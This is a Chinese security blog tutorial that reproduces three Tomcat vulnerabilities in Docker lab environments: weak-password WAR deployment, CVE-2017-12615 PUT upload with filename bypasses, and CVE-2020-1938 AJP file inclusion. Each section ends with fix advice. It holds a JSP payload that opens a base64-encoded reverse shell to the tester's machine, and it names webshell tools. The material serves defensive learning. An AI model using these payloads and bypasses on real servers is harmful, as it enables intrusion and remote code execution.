首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >珂兰寺小课堂|Tomcat系列漏洞复现

珂兰寺小课堂|Tomcat系列漏洞复现

作者头像
黑伞安全
发布2021-10-14 12:19:25
1.7K1
发布2021-10-14 12:19:25
举报
文章被收录于专栏:黑伞安全黑伞安全

点击上方蓝字关注我们

本篇文章是关于Tomcat历史漏洞的复现,介绍了以下3个漏洞的原理、利用方式及修复建议。

  • Tomcat后台上传war包getshell
  • Tomcat的PUT的上传漏洞(CVE-2017-12615)
  • Tomcat AJP文件包含漏洞分析(CVE-2020-1938)

眼过千遍,不如手动一遍,快来一起学习吧...

01

Tomcat后台上传war包

01

漏洞简介

我们本次实验主要是Tomcat后台上传war包。Tomcat存在管理后台进行应用部署管理,且管理后台使用HTTP基础认证进行登录。若用户口令为弱口令,攻击者容易进行暴力破解登录后台并进行应用管理。

02

复现环境

靶机:ubuntu(ip:192.168.2.7)

03

复现步骤

0x01 搭建环境

docker及docker-compose安装参考上篇文章。首先进入相应的漏洞下,然后使用命令启动

docker-compose build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器

如下图所示:

然后我们访问环境127.0.0.1:8080,如下图所示:

图中可以看到manager app,点击并登录后可对web应用程序进行部署,并且十分方便,管理员只需要上传一个war格式的文件就可以发布到网站。

点击manager app后需要用户名和密码。

0x02 弱口令爆破

进入kali中,使用msfconsole,命令如下:

msfconsole

依次执行如下命令:

search tomcat
use auxiliary/scanner/http/tomcat_mgr_login

然后执行如下命令:

set rhosts 192.168.2.7
run

最后使用爆破出来的用户名:密码(tomcat:tomcat )进行登录,如下图所示:

0x03 制作war包

这里我们使用 jar -cvf命令去生成我们的war包,如下图所示:

0x04 上传war包并获取shell

我们首先找到上传点,然后上传我们的war包,如下图所示:

部署好之后,我们访问127.0.0.1:8080/test/shell.jsp,然后就可以看到下图所示:

最后打开菜刀,然后输入地址以及密码,成功连接,如下图所示:

到此,此漏洞利用成功。

04

修复方法

  1. 在系统上以低权限运行Tomcat应用程序,创建一个专门的tomcat服务用户,该用户只能拥有一组最小权限;
  2. 增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
  3. 以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

02

Tomcat的任意文件写入

CVE-2017-12615

01

漏洞简介

我们本次实验主要是复现CVE-2017-12615。当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP文件中的代码将能被服务器执行。

02

复现环境

  受影响的版本:Apache Tomcat 7.0.0 -- 7.0.81(默认配置)
 复现环境:Tomcat 8.5.19
 靶机:ubuntu(ip:192.168.2.7)

03

复现步骤

0x01 搭建环境

还是使用vulhub提供的docker,首先进入相应的漏洞下,然后使用命令启动。

docker-compose build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器

搭建完成后访问http://127.0.0.1:8080,如下图所示:

0x02 burp抓包修改格式

1.打开burp进行抓包,然后发到重放模块,如下图所示:

2. 首先我们先上传一个txt文件,这里我们需要修改get为put如下图所示:

3.我们使用命令docker exec -it <容器id> bin/bash进入到容器内部,查看我们上传的文件,如下图所示:

4.这里我们直接上传jsp文件,发现返回404,是不被允许的,如下图所示:

0x03 绕过方式

对于这种情况可以有多种方式绕过。

  1. Windows下不允许文件以空格结尾,以 PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格;
  2. WindowsNTFS流 PUT /x.jsp::$DATA HTTP/1.1;
  3. /在文件名中是非法的,也会被去除(Linux/Windows) PUT /x.jsp/ HTTP/1.1;

大家自行进行测试

0x04 上传jsp文件获取shell

这里使用我们直接在上传文件后缀名后加/绕过,然后添加一句话(我们也可以在这里上传我们的马),之后我们点击发送按钮,可以看到返回201如下图所示:

最后,通过浏览器访问文件测试是否上传成功,如下图所示:

从上图我们知道我们传入的jsp文件成功执行命令,说明漏洞利用成功。

这里我们可以上传一个马,如下图所示:

然后我们使用冰蝎进行连接,密码是rebeyond,连接成功,如下图所示:

到此漏洞利用成功。

04

修复方法

  1. 配置readonly为true;
  2. 根据官方补丁升级为最新版本。

03

Tomcat AJP文件包含漏洞分析

CVE-2020-1938

01

漏洞简介

Tomcat配置了两个Connecto,它们分别是HTTP和AJP。HTTP默认端口为8080,处理http请求,AJP默认端口为8009,用于处理AJP协议的请求。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

02

复现环境

受影响版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
复现版本:Tomcat 9.0.30
靶机:ubuntu(ip:192.168.2.7)
测试机:kali(ip:192.168.2.5)

03

复现步骤

0x01 环境搭建

启动vulhub环境,首先进入相应的漏洞下,然后使用命令启动。

docker build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器

如下图所示:

访问127.0.0.1:8080,出现下图则开启成功,如下图所示:

0x02 webapp任意文件读取

1. 已经知道该漏洞产生的位置是8009的AJP协议,此处利用公开的利用脚本。

脚本下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

2. 运行脚本读取WEB-INF/web.xml文件,如下图所示:

3. 在docker的ROOT目录下新建文件用来测试是否可以成功读取,首先使用命令docker exec -it <容器id> bin/bash进入到容器内,如下图所示:

4. 然后我们进入到ROOT目录下新建一个test.txt文件,如下图所示:

5.然后执行脚本来读取test.txt,读取成功,如下图所示:

0x03 漏洞利用

该漏洞需要配合文件上传漏洞才能利用,假设服务器已经有了存在一个txt文件,里面的内容可以执行任意命令(实际的渗透操作中要利用目标服务器同时存在文件上传功能来实现上传文件)。

1. 构造payload

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMi41Lzg4ODggPCYxCgoK}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");%>

2.将内容保存在txt文件里,使用命令将txt文件复制到服务器的ROOT路径,如下图所示:

3.要想实现文件包含,必须要运行包含的文件,所以目标文件需要是jsp,这里需要修改脚本中的文件名asdf为asdf.jsp,如下图所示:

4.kali监听端口8888

5.然后运行脚本,可以看到成功反弹shell。

到此,漏洞成功利用。

04

修复建议

  1. 禁用AJP协议,在/conf/server.xml中编辑;
  2. 将Tomcat升级到更高的版本

END

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x02 弱口令爆破
  • 0x03 制作war包
  • 0x01 搭建环境
  • 0x02 burp抓包修改格式
  • 0x03 绕过方式
  • 0x04 上传jsp文件获取shell
  • 0x01 环境搭建
  • 0x02 webapp任意文件读取
  • 0x03 漏洞利用
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档